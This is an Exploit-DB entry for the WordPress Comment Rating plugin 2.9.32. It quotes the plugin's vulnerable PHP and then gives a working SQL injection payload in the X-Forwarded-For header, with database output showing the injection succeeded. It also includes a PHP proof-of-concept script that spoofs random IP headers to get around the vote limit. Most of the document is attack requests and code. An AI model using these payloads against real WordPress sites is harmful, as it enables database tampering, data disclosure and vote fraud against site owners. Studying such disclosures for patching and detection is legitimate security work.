Exploit-DB #24552
Description: WordPress Plugin Comment Rating 2.9.32 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-02-27
Author: ebanyu

Exploit:
# Exploit Title: Wordpress plugin: Comment Rating SQL injection
# Google Dork: 
# Date: 21/02/2013
# Exploit Author: ebanyu
# Url Author: www.ebanyu.com.ar
# Vendor Homepage: wealthynetizen.com
# Software Link: http://wealthynetizen.com/wordpress-plugin-comment-rating/
# Version: 2.9.32
# Tested on: Fedora 18 + mysql 5.5 + php 5.4



Vulnerable Code: /wp-content/plugins/comment-rating/ck-processkarma.php

First take the IP from HTTP_X_FORWARDED_FOR header.
-----------------------------------------------------------------------
48         $ip = getenv("HTTP_X_FORWARDED_FOR") ? getenv("HTTP_X_FORWARDED_FOR") : getenv("REMOTE_ADDR");
49         if(strstr($row['ck_ips'], $ip)) {
50            // die('error|You have already voted on this item!'); 
51            // Just don't count duplicated votes
52            $duplicated = 1;
53            $ck_ips = $row['ck_ips'];
54         }

Later made a UPDATE without filter the input.
------------------------------------------------------------------------
77         $query = "UPDATE `$table_name` SET ck_rating_$direction = '$rating', ck_ips = '" . $ck_ips  . "' WHERE ck_comment_id = $k_id";


So let's take a look in the DB

mysql> select * from wp_comment_rating;
+---------------+----------------+--------------+----------------+
| ck_comment_id | ck_ips         | ck_rating_up | ck_rating_down |
+---------------+----------------+--------------+----------------+
|             2 | ,20.209.10.130 |            1 |              0 |
|             3 |                |            0 |              0 |
+---------------+----------------+--------------+----------------+
2 rows in set (0.00 sec)


Now made a HTTP request with a injection in the HTTP_X_FORWARDED_FOR header:

GET /wordpress/wp-content/plugins/comment-rating/ck-processkarma.php?id=2&action=add&path=a&imgIndex=1_14_ HTTP/1.1 
Host: 192.168.1.10
Accept-Encoding: gzip, deflate
X-Forwarded-For: ', ck_ips=(select user()) WHERE ck_comment_id=2#
Connection: keep-alive


And the result is:

mysql> select * from wp_comment_rating;
+---------------+---------------------+--------------+----------------+
| ck_comment_id | ck_ips              | ck_rating_up | ck_rating_down |
+---------------+---------------------+--------------+----------------+
|             2 | wordpress@localhost |            2 |              0 |
|             3 |                     |            0 |              0 |
+---------------+---------------------+--------------+----------------+
2 rows in set (0.00 sec)

Cheers

=======================================================================================


# Exploit Title: Wordpress plugin: Comment Rating Bypass vote limitation
# Date: 21/02/2013
# Exploit Author: ebanyu
# Url Author: www.ebanyu.com.ar
# Vendor Homepage: wealthynetizen.com
# Software Link: http://wealthynetizen.com/wordpress-plugin-comment-rating/
# Version: 2.9.32
# Tested on: Fedora 18 + mysql 5.5 + php 5.4


Vulnerable Code: /wp-content/plugins/comment-rating/ck-processkarma.php

First take the IP from HTTP_X_FORWARDED_FOR header.
-----------------------------------------------------------------------
48         $ip = getenv("HTTP_X_FORWARDED_FOR") ? getenv("HTTP_X_FORWARDED_FOR") : getenv("REMOTE_ADDR");
49         if(strstr($row['ck_ips'], $ip)) {
50            // die('error|You have already voted on this item!'); 
51            // Just don't count duplicated votes
52            $duplicated = 1;
53            $ck_ips = $row['ck_ips'];
54         }

Later made a UPDATE without filter the input.
------------------------------------------------------------------------
77         $query = "UPDATE `$table_name` SET ck_rating_$direction = '$rating', ck_ips = '" . $ck_ips  . "' WHERE ck_comment_id = $k_id";


Now for bypass the vote limitation, we just have to add the HTTP_X_FORWARDED_FOR header and change it once per request.

A simple POC is made in php.

<?PHP

define('HOST','http://localhost/wordpress/');
define('IDCOMMENT',2);
$url=parse_url(HOST);
define('URL',$url['path'].'wp-content/plugins/comment-rating/ck-processkarma.php?id='.IDCOMMENT.'&action=add&path=a&imgIndex=1_14_');
for($i=0;$i<1;$i++) lvlup();

function lvlup(){
	global $url;
	$header = "GET ".URL." HTTP/1.1 \r\n";
	$header.= "Host: ".$url['host']."\r\n";
	$header.= "Accept-Encoding: gzip, deflate \r\n";
	$header.= "X-Forwarded-For: ".long2ip(rand(0, "[PII_REDACTED]"))."\r\n";
	$header.= "Connection: close \r\n\r\n";
	$socket  = socket_create(AF_INET, SOCK_STREAM,  SOL_TCP);
	socket_connect($socket,$url['host'], 80);
	socket_write($socket, $header);
	socket_close($socket);
}

?>